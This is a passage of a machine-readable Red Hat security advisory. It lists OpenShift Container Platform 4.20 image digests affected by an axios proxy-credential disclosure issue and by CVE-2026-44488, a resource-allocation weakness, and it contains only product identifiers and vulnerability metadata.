"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Information disclosure of proxy credentials via redirect flows"
},
{
"cve": "CVE-2026-44488",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-06-11T17:01:36.836488+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
